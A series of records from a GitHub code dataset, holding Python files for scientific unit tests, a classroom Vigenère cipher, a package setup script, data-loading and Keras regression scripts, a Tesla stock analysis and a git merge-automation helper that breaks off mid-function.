print(\"Empate\")\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Neldesh/TicTacToe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41028779195","text":"import numpy as np\nimport openpnm as op\nfrom numpy.testing import assert_allclose\n\n\nclass DiffusiveConductanceTest:\n\n    def setup_class(self):\n        self.net = op.network.Cubic(shape=[5, 5, 5])\n        self.net['pore.diameter'] = 1.0\n        self.net['throat.diameter'] = 0.5\n        self.net['pore.area'] = 1.0\n        self.net['throat.cross_sectional_area'] = 1.0\n        self.phase = op.phase.Phase(network=self.net)\n        self.phase['pore.diffusivity'] = 1.3\n        self.phase['pore.molecular_weight'] = 0.029\n        self.phase['pore.temperature'] = 345.0\n        self.size_factors = np.ones([self.net.Nt, 3])*(0.123, 0.981, 0.551)\n\n    def test_generic_diffusive_size_factors_as_dict(self):\n        self.net['throat.diffusive_size_factors'] = self.size_factors\n        mod = op.models.physics.diffusive_conductance.generic_diffusive\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = self.phase['throat.diffusive_conductance'].mean()\n        assert_allclose(actual, desired=0.091204832 * 1.3)\n        del self.net[\"throat.diffusive_size_factors\"]\n\n    def test_generic_diffusive_size_factors_as_array(self):\n        self.net['throat.diffusive_size_factors'] = 0.896\n        mod = op.models.physics.diffusive_conductance.generic_diffusive\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = self.phase['throat.diffusive_conductance'].mean()\n        assert_allclose(actual, desired=0.896 * 1.3)\n        del self.net[\"throat.diffusive_size_factors\"]\n\n    def test_generic_diffusive_partial_domain(self):\n        net = op.network.Cubic(shape=[5, 5, 5])\n        phase = op.phase.Phase(network=net)\n        phase.set_label('pore.left', pores=net['pore.left'])\n        phase.set_label(label='left',\n                        throats=net.find_neighbor_throats(net.pores('left')))\n        phase['pore.diffusivity'] = 1.3\n        net['throat.diffusive_size_factors'] = 0.5\n        mod = op.models.physics.diffusive_conductance.generic_diffusive\n        phase.add_model(propname='throat.diffusive_conductance',\n                        model=mod,\n                        domain='left',\n                        regen_mode='deferred')\n        phase.regenerate_models()\n        actual = phase['throat.diffusive_conductance'].mean()\n        # assert_allclose(actual, 0.65)\n        # assert len(phase['throat.diffusive_conductance']) == 5\n\n    def test_ordinary_diffusion_size_factors_given_as_dict(self):\n        self.net['throat.diffusive_size_factors'] = self.size_factors\n        mod = op.models.physics.diffusive_conductance.ordinary_diffusion\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = self.phase['throat.diffusive_conductance'].mean()\n        assert_allclose(actual, desired=0.091204832 * 1.3)\n        del self.net[\"throat.diffusive_size_factors\"]\n\n    def test_ordinary_diffusion_size_factors_given_as_array(self):\n        self.net['throat.diffusive_size_factors'] = 0.896\n        mod = op.models.physics.diffusive_conductance.ordinary_diffusion\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = self.phase['throat.diffusive_conductance'].mean()\n        assert_allclose(actual, desired=0.896 * 1.3)\n        del self.net[\"throat.diffusive_size_factors\"]\n\n    def test_mixed_diffusion(self):\n        self.net['throat.diffusive_size_factors'] = self.size_factors\n        mod = op.models.physics.diffusive_conductance.mixed_diffusion\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = self.phase['throat.diffusive_conductance'].mean()\n        assert_allclose(actual, desired=0.117568, rtol=1e-5)\n        del self.net[\"throat.diffusive_size_factors\"]\n\n    # def test_multiphase_diffusion(self):\n    #     net = op.network.Cubic(shape=[1, 6, 1])\n    #     net['throat.diffusive_size_factors'] = self.size_factors_dict\n    #     air = op.phase.Air(network=net)\n    #     water = op.phase.Water(network=net)\n    #     water['pore.diffusivity'] = 1e-11\n    #     from openpnm import contrib\n    #     m = contrib.MultiPhase(network=net, phases=[air, water])\n    #     m.set_occupancy(phase=air, pores=[0, 1, 2])\n    #     m.set_occupancy(phase=water, pores=[3, 4, 5])\n    #     const = op.models.misc.constant\n    #     K_water_air = 0.5\n    #     m.set_binary_partition_coef(phases=[water, air], model=const, value=K_water_air)\n    #     m._set_automatic_throat_occupancy()\n    #     mdiff = op.models.physics.diffusive_conductance.multiphase_diffusion\n    #     m.add_model(propname=\"throat.diffusive_conductance\", model=mdiff)\n    #     g = m[\"throat.diffusive_conductance\"]\n    #     # Diffusive conductance for MultiPhase must be Nt by 2 (not Nt by 1)\n    #     assert g.shape == (net.Nt, 2)\n    #     # Columns 1, 2 of conductance must be equal except for interface throat\n    #     assert_allclose(g[:, 0][[0, 1, 3, 4]], g[:, 1][[0, 1, 3, 4]])\n    #     # G12 and G21 at interface must differ (ratio must be K_water_air)\n    #     assert_allclose(g[2, 0] / g[2, 1], 1 / K_water_air)\n    #     assert_allclose(g.mean(), 7.64303956e-7, rtol=1e-5)\n\n    def test_taylor_aris_diffusion(self):\n        self.net['throat.diffusive_size_factors'] = self.size_factors\n        self.phase['pore.pressure'] = np.linspace(0, 20, self.net.Np)\n        self.phase['throat.hydraulic_conductance'] = 1\n        mod = op.models.physics.diffusive_conductance.taylor_aris_diffusion\n        self.phase.add_model(propname='throat.diffusive_conductance', model=mod)\n        self.phase.regenerate_models()\n        actual = np.array([\n            self.phase['throat.diffusive_conductance'].mean(),\n            self.phase['throat.diffusive_conductance'].max(),\n            self.phase['throat.diffusive_conductance'].min()]\n        )\n        desired = np.array([0.121193, 0.126131, 0.118578])\n        assert_allclose(actual, desired, rtol=1e-5)\n\n\nif __name__ == '__main__':\n\n    t = DiffusiveConductanceTest()\n    self = t\n    t.setup_class()\n    for item in t.__dir__():\n        if item.startswith('test'):\n            print(f'Running test: {item}')\n            t.__getattribute__(item)()\n","repo_name":"PMEAL/OpenPNM","sub_path":"tests/unit/models/physics/DiffusiveConductanceTest.py","file_name":"DiffusiveConductanceTest.py","file_ext":"py","file_size_in_byte":6397,"program_lang":"python","lang":"en","doc_type":"code","stars":404,"dataset":"github-code","pt":"3"}
+{"seq_id":"23414204416","text":"def get_char_number(sumbol):\n    alphabet = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ]\n    for i in range(len(alphabet)):\n        if (sumbol == alphabet[i]):\n            return i\n\ndef get_number_char(number):\n    alphabet = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' ]\n    return alphabet[number]\n\ndef encrypt(text,key):\n    encrypt_text = []\n    i = 0\n    for sumbol in text:\n        \n        encrypt_text.append(get_number_char(( get_char_number(sumbol) + get_char_number(key[i])) % 26))\n        i+=1\n    return encrypt_text\n\ndef decrypt(encrypt_text,key):\n    decrypt_text = []\n    i = 0\n    for sumbol in encrypt_text:\n        \n        if (get_char_number(sumbol) - get_char_number(key[i])) < 0:\n            decrypt_text.append(get_number_char( 26 + ( get_char_number(sumbol) - get_char_number(key[i]))))\n        else:\n            decrypt_text.append(get_number_char(( get_char_number(sumbol) - get_char_number(key[i] ))))\n        i+=1\n    return decrypt_text\n\ndef formate_key(key,text):\n    formated_key = []\n    while (len(formated_key) != len(text)):\n        for sumbol in key:\n            if (len(formated_key) == len(text)):\n                break;\n            formated_key.append(sumbol)\n    return formated_key\n\nkey_list = []\ntext_list = []\ntext = input(\"Enter message: \")\n\nfor s in text:\n    text_list.append(s)\n\nprint(text_list)\n\nkey = input(\"Enter key: \")\n\nfor s in key:\n    key_list.append(s)\n\nprint(key_list)\n\nkey_list = formate_key(key_list,text_list)\nprint(\"Formated key: \", key_list)\n\nencrypt_text_list = encrypt(text_list,key_list)\nprint(\"Encrypted text: \" , encrypt_text_list )\n\ndecrypt_text_list = decrypt(encrypt_text_list,key_list)\nprint(\"Decrypted text: \" , decrypt_text_list )\n","repo_name":"alekon28/programming-term-2","sub_path":"laba_6_task_5_py/laba_6_task_5_py/laba_6_task_5_py.py","file_name":"laba_6_task_5_py.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21577959382","text":"from setuptools import setup, find_packages\n\n# read the contents of your README file\nfrom os import path\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n    long_description = f.read()\n\nVERSION = '0.1.4'\n\nsetup(\n  name = 'hospital_logfile_analyzer',\n  packages = find_packages(),\n  version = VERSION,\n  license='MIT',\n  description = 'Tool to convert plain-text hospital integration engines\\' log files to structured data',\n  long_description=long_description,\n  long_description_content_type='text/markdown',\n  author = 'Pavlo Dyban (Doctolib GmbH)',\n  author_email = 'pavlo.dyban@doctolib.com',\n  url = 'https://github.com/doctolib/hospital_logfile_analyzer',\n  download_url = f\"https://github.com/doctolib/hospital_logfile_analyzer/archive/v.{VERSION}.tar.gz\",\n  keywords = ['logfile', 'parser', 'integration engine', 'communication server',\n        'HIS', 'hospital', 'information system', 'communication',\n        'TCP/IP', 'structured data'],\n  install_requires=[],\n  classifiers=[\n    'Development Status :: 5 - Production/Stable',\n    'Intended Audience :: System Administrators',\n    'Intended Audience :: Developers',\n    'Topic :: Internet :: Log Analysis',\n    'License :: OSI Approved :: MIT License',\n    'Programming Language :: Python :: 3',\n    'Programming Language :: Python :: 3.4',\n    'Programming Language :: Python :: 3.5',\n    'Programming Language :: Python :: 3.6',\n    'Programming Language :: Python :: 3.7',\n    'Programming Language :: Python :: 3.8',\n  ],\n  test_suite=\"hospital_logfile_analyzer.test\",\n  entry_points={\n    'console_scripts': [\n        'hla = hospital_logfile_analyzer.__main__:main',\n    ],\n  },\n)\n","repo_name":"doctolib/hospital_logfile_analyzer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"75199928722","text":"from typing import Any\nimport json\n\n\nclass Translator:\n    _instances: dict[str, 'Translator'] = {}\n\n    def __new__(cls, lang: str) -> 'Translator':\n        if lang not in cls._instances:\n            cls._instances[lang] = super(Translator, cls).__new__(cls)\n        return cls._instances[lang]\n\n    def __init__(self, lang: str):\n        self.lang = lang\n\n    def get_translate(self, page: str, **kwargs: dict[str, Any]) -> dict[str, str]:\n        with open(f\"app/lang/{self.lang}/{page}.json\", encoding=\"utf-8\") as file:\n            translation = json.load(file)\n        if kwargs.keys():\n            for key in translation:\n                translation[key] = translation[key].format(**kwargs)\n        return translation\n","repo_name":"deathlokmike/clinic","sub_path":"app/lang/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30885967328","text":"import pandas as pd\n\n\ndef read_output_data(filepath_output: str) -> dict:\n    # check file type\n    # options --> *.xlsx, *.txt, *.csv\n    # check end of file\n    # if file.endswith an of the above options\n    # use appropriate pandas function i.e. pd.read_csv(), pd.read_excel()\n    data_fp = filepath_output\n    data_fp = data_fp.split(\"/\")[-1]\n    if data_fp.endswith(\".csv\") or data_fp.endswith(\".txt\"):\n        data_df = pd.read_csv(filepath_output, sep=\",\")\n    elif data_fp.endswith(\".xlsx\"):\n        data_df = pd.read_excel(filepath_output)\n\n        # return pd.dataframe of data\n    return data_df\n\n\ndef read_experimental_data(filepath_exp) -> dict:\n    # check file type\n    # options --> *.xlsx, *.txt, *.csv\n    # check end of file\n    # if file.endswith an of the above options\n    # use appropriate pandas function i.e. pd.read_csv(), pd.read_excel()\n    # exp_data_df = pd.DataFrame()\n    experimental_fp = filepath_exp.split(\",\")[-1]\n    if experimental_fp.endswith(\".csv\"):\n        return pd.read_csv(filepath_exp, sep=\",\")\n        # exp_data_df = pd.read_csv(filepath_exp, sep=\",\")\n    elif experimental_fp.endswith(\".xlsx\"):\n        return pd.read_excel(filepath_exp)\n        # exp_data_df = pd.read_excel(filepath_exp)\n\n    # print(exp_data_df)\n\n    # return pd.dataframe of data\n    # return exp_data_df\n\n\ndef read_csv_extra(filepath_exp: str) -> dict:\n    \"\"\"\n    :param filepath_exp:\n    :return:\n    \"\"\"\n    exp_data_df = pd.DataFrame(read_experimental_data(filepath_exp))\n    print(\"Here in read csv extra\")\n    print(exp_data_df.keys())\n    exp_data_df2 = exp_data_df[[\"label\", 'DeltaD', 'DeltaP', 'DeltaH', 'smiles', 'n_electrons', 'n_atoms', 'charge', 'MolWt']]\n\n    return exp_data_df2\n\n\ndef dataset_df(fp_exp, fp_output) -> dict:\n    # put together final dataframe\n    # if the first column is 'label' then call read_csv_extra\n    exp_data_df = read_experimental_data(fp_exp)\n    if exp_data_df[\"label\"].any():\n        exp_data_df = read_csv_extra(fp_exp)\n\n    output_data_df = read_output_data(fp_output)\n    # to create full_dataframe compare columns=\"mol\"\n    # concatenate dataframes along columns\n    full_dataframe = pd.concat([exp_data_df, output_data_df], axis=1)\n\n    return full_dataframe\n","repo_name":"jilxlisathompson/DeltahspPredict","sub_path":"data_reading.py","file_name":"data_reading.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6086235932","text":"from numpy import loadtxt\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom keras.optimizers import SGD\n\n\nfrom io import StringIO\nimport numpy as np\n\n\nimport math\ndef convertToNumber(s):\n    return int.from_bytes(str(s).encode(), 'little')\n\ndef convertFromNumber (n):\n    return n.to_bytes(math.ceil(n.bit_length() / 8), 'little').decode()\n\n\n# Import the dataset\ndataset_file_location = '/Users/brenodcruz/eclipse-workspace/cool.parser/python_script/output-file.txt'\ndataset = np.genfromtxt(dataset_file_location, delimiter=', ', converters={0: convertToNumber, 2: convertToNumber, 4: convertToNumber})\n\n# (0) string    (1) entropy (2) heuristics (3) heuristic weight (4) regex patterns (5) regex weights\n# (6) label \t\t\n\n## dnn for overall label prediction\n\nX = dataset[0:,[1,2,3,4,5]] # input data -- entropy -- heuristic -- regex\ny = dataset[0:,6] # label - 1 true or 0 false -- \n\n\n#Split the data for testing and training\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 42)\n\n# Standardize the data\nscaler = StandardScaler().fit(X_train)\n\n## Scale the train set\nX_train = scaler.transform(X_train)\n\n## Scale the test set\nX_test = scaler.transform(X_test)\n\n\nmodel = Sequential()\nmodel.add(Dense(12, input_dim=5, activation='relu'))\nmodel.add(Dense(24, activation='selu'))\nmodel.add(Dense(36, activation='relu'))\nmodel.add(Dense(96, activation='elu'))\nmodel.add(Dense(96, activation='selu'))\nmodel.add(Dense(32, activation='relu'))\nmodel.add(Dense(24, activation='selu'))\nmodel.add(Dense(1, activation='linear'))\n\nmodel.compile(loss='mean_squared_error', optimizer='adam', metrics=['accuracy'])\nmodel.fit(X_train, y_train, epochs=200, batch_size=128, verbose=0)\n\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, cohen_kappa_score, r2_score\n\nmse_value, mae_value = model.evaluate(X_test, y_test, verbose = 0)\nprint(\"mse: \", mse_value)\nprint(\"mae: \", mae_value)\n\n#_, accuracy = model.evaluate(X_train, y_train, verbose=0)\n#print('Accuracy: %.2f' % (accuracy*100))\n\ny_pred = model.predict(X_test)\n\nr2 = r2_score(y_test, y_pred)\n\n#y_pred2 = model.predict(X_plot)\n\nprint(\"r2: \", r2)\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n\nfor i in range(10):\n    print('%s => %s (expected %s)' % (X[i].tolist(), y_pred[i], y_test[i]))\n\ndf = pd.DataFrame({'x': range(0, len(y_test)), 'breadps values':y_test, 'breadps predicted':y_pred.flatten()})\nplt.plot( 'x', 'breadps values', data=df, marker='', markerfacecolor='blue', markersize=10, color='skyblue', linewidth=2)\nplt.plot( 'x', 'breadps predicted', data=df, marker='', color='olive', linewidth=1)\nplt.legend()\nplt.show()\n\n","repo_name":"brenodan/magister","sub_path":"python_script/ml_system.py","file_name":"ml_system.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10523624969","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport sys\nfrom statistics import mean\n\n\n#***    This program will ingest the tesla stock and coronavirus dataset,\n#***    do some analysis, and ultimately output the data into a dumbbell plot,\n#***    scatter plot,\n\n#modules sometimes warn the user of things they want to do\n#this ignores those warnings\ndef hide_warnings():\n    if not sys.warnoptions:\n        import warnings\n        warnings.simplefilter(\"ignore\")\n        \nhide_warnings()\n\n\n#this is going to be called for each file to create dataframes\ndef load_data(filename):\n    data = pd.read_csv(filename)\n\n    return data\n\n#Create one printable line seperator\ndef line_sep():\n    print('____________________________________________________________________________')\n\n\n#load raw dataset\ndata = load_data('All_Data.csv')\n\n#converting date collumn to datetime format\ndata['Date'] = pd.to_datetime(data['Date']) #or use np.datetime64 in a loop\n#print raw dataset\ndef Data_Open():\n    print('\\nFull, Raw Dataset')\n    line_sep()\n    print(data)\n    line_sep()\nData_Open()\n\n#find best fit slope and intercept to later plot trendline \ndef best_fit_slope_and_intercept1(xval, yval):\n    m = (((mean(xval)*mean(yval)) - mean(xval*yval)) /\n         ((mean(xval)*mean(yval)) - mean(xval*xval)))\n    \n    b = mean(yval) - m*mean(xval)\n    \n    return m, b\n\n\n#____________________________________________________________________________________________________\n#print dataset of just date and average price\ndate_and_price = data[['Date','Average Price', 'year']]\n\nprint(\"\\nDate and price\")\nprint(date_and_price)\nline_sep()\n\n#Singular parts\n'''print('Dates')\ndates = date_and_price[['Date']].values\nprint(dates)\nline_sep()'''\n\n#Print Years    \n'''print('Years')\nyears = date_and_price[['year']].values\nprint(years)\nline_sep()'''\n\n#Print Average Stock Price\n'''print('Average Stock Price')\navgprice = date_and_price[['Average Price']].values\nprint(avgprice)\nline_sep()'''\n\n#Print Unique Years\nprint('\\nDifferent years')\nall_years = date_and_price['year'].unique()\nprint(all_years)\nline_sep()\n\n# Start the analysis\n\n#create a dataframe with only average price, volume, and corona cases.\ndf_vars = data[['Volume', 'Average Price', 'CoronaCases']]\n\n#generating a correlation matrix for analysis\nprint(\"Correlation Matrix\")\ncorr_matrix = df_vars.corr(method='pearson')\nprint(corr_matrix)\nline_sep()\n\n# create data arrays for each individual variable\nVolume = np.array(data['Volume']/1000000)\nAvgP = np.array(data['Average Price'])\nCovidC = np.array(data['CoronaCases'])\n\n#Now that we have this data array, we can compute a variety of summary statistics:\n#Volume\nprint(\"Daily Volume Stats:\")\nprint(\"Mean Volume:       \", round(Volume.mean(), 4), 'Mil')\nprint(\"Minimum Volume:    \", Volume.min(), 'Mil')\nprint(\"Maximum Volume:    \", Volume.max(), 'Mil')\nprint(\"Volume Standard Deviation:\", round(Volume.std(), 4), 'Mil')\nprint(\"\\n\")\n\n#Average Price\nprint(\"Daily Avg Price Stats:\")\nprint(\"Mean Price:       \", '$', round(AvgP.mean(), 4))\nprint(\"Minimum Price:    \", '$', AvgP.min())\nprint(\"Maximum Price:    \", '$', AvgP.max())\nprint(\"Average Price Standard Deviation:\", '$', round(AvgP.std(), 3))\nprint(\"\\n\")\n\n#Coronavirus Cases\nprint(\"Daily COVID 19 Stats:\")\nprint(\"Mean COVID Cases:       \", round(CovidC.mean(), 4))\nprint(\"Minimum COVID Cases:    \", CovidC.min())\nprint(\"Maximum COVID Cases:    \", CovidC.max())\nprint(\"COVID Cases Standard Deviation:\", round(CovidC.std(), 4))\nprint(\"\\n\")\n\nline_sep()\n\n#start plotting\n\n#Plot group #1 Correlation Scatterplot with trendline\n#create an array for each variable to find linear regression\n\nVs = np.array(df_vars['Volume'], dtype=np.float64)\nPs = np.array(df_vars['Average Price'], dtype=np.float64)\nCs = np.array(df_vars['CoronaCases'], dtype=np.float64)\n\n#find slope and intercept for all variables correlations and linear regression\nmVP, bVP = best_fit_slope_and_intercept1(Vs,Ps)\n'''print(mVP,bVP)'''\n\nmCP, bCP = best_fit_slope_and_intercept1(Cs,Ps)\n'''print(mCP,bCP)'''\n\nmCV, bCV = best_fit_slope_and_intercept1(Cs,Vs)\n'''print(mCV,bCV)'''\n\n#find regression line for each variable correlation\nregression_lineVP = [(mVP*V)+bVP for V in Vs]\nregression_lineCP = [(mCP*C)+bCP for C in Cs]\nregression_lineCV = [(mCV*C)+bCV for C in Cs]\n\n#plot scatter plots with lines of regression for all corelations:\n\n#Volume and Average Price\ndf_vars[['Volume', 'Average Price']].plot(y='Average Price', x='Volume', kind='scatter')\nplt.scatter(Vs, Ps)\nplt.title('Volume Vs. Average Price')\nplt.ylim(0, 1000)\nplt.xlabel('Volume in Millions')\nplt.plot(Vs, regression_lineVP)\n\n#Coronavirus and Average Price\ndf_vars[['CoronaCases', 'Average Price']].plot(y='Average Price', x='CoronaCases', kind='scatter')\nplt.scatter(Cs, Ps)\nplt.title('COVID 19 Cases Vs. Average Price')\nplt.ylim(0, 1000)\nplt.plot(Cs, regression_lineCP)\n\n#Coronavirus and Volume\ndf_vars[['CoronaCases', 'Volume']].plot(y='Volume', x='CoronaCases', kind='scatter')\nplt.scatter(Cs, Vs)\nplt.title('COVID 19 Cases Vs. Volume')\nplt.plot(Cs, regression_lineCV)\n\n#final plot : Date and Average Price\n\n#create a dataframe of just Date and Price\ndf1= pd.DataFrame (date_and_price, columns = ['Date', 'Average Price'])\nline_sep()\n\n#plot with (x,y) of date and average price\nax = df1.plot(x='Date', y='Average Price')\n\n#make labels\nax.set(title='Average Tesla Stock 2010-2020')\nax.set(xlabel='Years', ylabel='Mean Price')\n\n#make intervals for x\nax.xaxis.set_minor_locator(mdates.MonthLocator(interval = 2))\n\n#set y range\nplt.ylim(0, 1000)\n\n#make grid\nax.grid(True)\nplt.show()\n\n\n'''plt.savefig('Average Tesla Stock graph 2010-2020.png')'''\nplt.show()\n#close matplotlib - so that the memory is released from the program before close\n'''plt.close()'''\n\n","repo_name":"Sean-Kimchi/Python-2-Tesla-Stock-APL-2020-Spring","sub_path":"Python 2 final project 2020 Spring.py","file_name":"Python 2 final project 2020 Spring.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31126797640","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport tempfile\n\nfrom contextlib import contextmanager\n\n# If set to True, external commands will not produce any output. This will be\n# mainly useful for unit tests, as in any other scenario we probably want to\n# see the output of subcommands to diagnose issues.\nquiet = False\n\n\ndef subprocess_call(command, *args, check=True, output=False):\n    \"\"\"Call the given command using the subprocess module and optionally\n    return its decoded output and/or check the command's exit status.\n\n    :param command: name of the system command to execute\n    :param check: whether to check the command's exit code, or not\n    :param output: whether to return the command's standard output\n\n    :returns: 0 if check=True and output=False, command's standard output\n    if check=True and output=True, and the command's exit status if check=False\n    and output=False.\n\n    :raises NotImplementError: if check=False and output=True\n    \"\"\"\n    global quiet\n\n    argv = [command] + list(args)\n    kwargs = {}\n\n    if quiet:\n        kwargs['stderr'] = subprocess.DEVNULL\n\n        if not output:\n            kwargs['stdout'] = subprocess.DEVNULL\n\n    if not output:\n        print(' '.join(argv))\n\n    if check:\n        if output:\n            return subprocess.check_output(argv, **kwargs).decode()\n        else:\n            return subprocess.check_call(argv, **kwargs)\n    else:\n        if output:\n            raise NotImplementedError('check=False and output=True')\n        else:\n            return subprocess.call(argv, **kwargs)\n\n\ndef git(*args, check=True, output=False):\n    \"\"\"Call the git(1) command using the main.subprocess_call() method.\"\"\"\n    return subprocess_call('git', *args, check=check, output=output)\n\n\ndef gh(*args, check=True, output=False):\n    \"\"\"Call the gh(1) command using the main.subprocess_call() method.\"\"\"\n    return subprocess_call('gh', *args, check=check, output=output)\n\n\n@contextmanager\ndef group(description):\n    \"\"\"Group related output for this workflow with the given description. This\n    uses an undocumented feature of GitHub Actions. Output groups can be folded\n    and unfolded to hide or show the output in that group. The grouping seems to\n    apply to stdout only, at the moment. Anything printed to stderr will not be\n    part of the output group.\n    \"\"\"\n    global quiet\n\n    try:\n        if not quiet:\n            print(f'::group::{description}')\n            sys.stdout.flush()\n        yield\n    finally:\n        if not quiet:\n            print('::endgroup::')\n        sys.stdout.flush()\n\n\ndef git_status():\n    \"\"\"Return the short-format output of `git status`.\n\n    :returns: whatever `git status --short` prints to stdout\n    \"\"\"\n    return git('status', '--short', output=True)\n\n\ndef git_workdir_is_clean():\n    \"\"\"Ensures that there are no staged changes, no modified files, and no\n    untracked files in the current Git working directory.\n\n    :returns: True if the working directory is clean; otherwise, False\n    \"\"\"\n    return git_status() == ''\n\n\ndef git_head_is_not_detached():\n    \"\"\"Ensure that the current HEAD is a branch and not a detached commit.\n\n    :returns: True if HEAD is a valid symbolic reference; otherwise, False\n    \"\"\"\n    return 0 == git('symbolic-ref', 'HEAD', check=False)\n\n\ndef git_head_branch():\n    \"\"\"Return the name of the currently checked out HEAD branch.\n\n    :returns: short name of the ref that the current HEAD ispointing to\n    \"\"\"\n    return git('symbolic-ref', '--short', 'HEAD', output=True).rstrip()\n\n\ndef git_remote_add(name, url):\n    \"\"\"Add a new Git remote with the specified name and repository URL.\"\"\"\n    git('remote', 'add', name, url)\n\n\ndef git_fetch_branches_and_tags(remote):\n    \"\"\"Fetch branches and tags for the specified remote. The tags are fetched\n    into 'refs/tags/{remote}/*' where '{remote}' is the specified remote. This\n    allows us to keep local tags unmodified and run `git merge {remote}/{tag}`\n    to merge either a remote branch or tag.\n    \"\"\"\n    git('fetch', '--no-tags', '--prune', remote,\n        f'+refs/heads/*:refs/remotes/{remote}/*',\n        f'+refs/tags/*:refs/tags/{remote}/*')\n\n\ndef git_merge_no_commit(strategy, ref):\n    \"\"\"Merge the given ref into the current HEAD, but do not commit the result.\n    If there are any conflicts, they need to be resolved before committing the\n    result of the merge.\n\n    :param: strategy: valid value for the `-s <strategy>` option of `git merge`\n    :param: ref: valid Git ref, but should be a remote branch or tag in our case\n\n    :returns: True if the merge operation was successful or the HEAD branch is\n    already up to date, and False if there were conflicts or other reasons that\n    prevented the merge operation.\n    \"\"\"\n    return 0 == git('merge', '-s', strategy, '--no-commit', '--no-ff',\n                    '--allow-unrelated-histories', ref, check=False)\n\n\ndef git_unmerged_paths(status):\n    \"\"\"Assuming that a merge conflict has occurred, return the list of paths\n    that still have an unresolved merge conflict. This will also include any\n    paths that are untracked, as in our workflow there should be no untracked\n    files in the working directory.\n\n    :returns: list of paths that still have a merge conflict, or are untracked\n\n    Examples:\n\n    Untracked paths in the working directory will be returned as unmerged:\n    >>> git_unmerged_paths('?? foo\\\\n')\n    ['foo']\n\n    Already staged paths without conflicts will not be returned:\n    >>> git_unmerged_paths(' A foo\\\\n')\n    []\n\n    Renamed/copied unmerged paths will be returned as the destination path:\n    >>> git_unmerged_paths('MM orig -> foo\\\\n')\n    ['foo']\n\n    An actual example from this project:\n    >>> git_unmerged_paths('A  .github/workflows/generate.yml\\\\n'\n    ...                    'AA .github/workflows/downstream.yml\\\\n'\n    ...                    'AA .github/workflows/release.yml\\\\n'\n    ...                    'AA .github/workflows/upstream.yml\\\\n'\n    ...                    'AA CHANGELOG.md\\\\n'\n    ...                    'AA version.txt\\\\n')\n    ['.github/workflows/downstream.yml', '.github/workflows/release.yml', '.github/workflows/upstream.yml', 'CHANGELOG.md', 'version.txt']\n    \"\"\"\n    paths = []\n\n    for line in status.rstrip('\\n').split('\\n'):\n        m = re.match('^[^ ][^ ] ([^ ]+ -> )?([^ ]+)', line)\n        if m:\n            paths.append(m[2])\n\n    return paths\n\n\ndef revert_excluded_paths(exclude_patterns, ref):\n    \"\"\"Reverts all files matched by the given exclude patterns to their state\n    on the HEAD branch.\n\n    :param exclude_patterns: content of a gitignore(5) file\n    :param ref: Git reference to revert excluded files to\n    \"\"\"\n    for path in git_ls_files_ignored(exclude_patterns):\n        print(f'Reverting {path} to {ref}')\n\n        git('reset', '-q', '--', path)\n\n        if 0 != git('checkout', '-q', ref, '--', path, check=False):\n            os.unlink(path)\n\n\ndef git_ls_files_ignored(exclude_patterns):\n    \"\"\"List all paths in the index matching patterns in the given gitignore(5)\n    style wildcard patterns.\n\n    :param exclude_patterns: content of a gitignore(5) file\n    :returns: list of indexed paths matching the exclude patterns\n    \"\"\"\n    with tempfile.NamedTemporaryFile() as exclude:\n        with open(exclude.name, 'w') as f:\n            f.write(exclude_patterns)\n            f.close()\n\n        output = git('ls-files', '--cached', '--ignored',\n                     f'--exclude-from={exclude.name}',\n                     output=True).rstrip('\\n')\n\n        if output == '':\n            return []\n\n        return output.split('\\n')\n\n\ndef resolve_all_merge_conflicts(conflict_resolution):\n    \"\"\"Attempt to resolve all merge conflicts that are present in the current\n    working directory.\n\n    :returns: True if all conflicts have been resolved; otherwise, False if\n    there would still be conflicts remaining after applying all actions\n    \"\"\"\n    unmerged_paths = set(git_unmerged_paths(git_status()))\n    remaining_unmerged_paths = unmerged_paths - set(conflict_resolution.keys())\n\n    if remaining_unmerged_paths:\n        print('Cannot resolve all merge conflicts automatically.')\n        print('The following paths would remain unmerged after conflict '\n              'resolution:\\n\\n' + '\\n'.join(remaining_unmerged_paths))\n        return False\n\n    conflict_resolution_actions = {\n        'ours': git_revert_to_head\n    }\n\n    for path in unmerged_paths:\n        action = conflict_resolution[path]\n\n        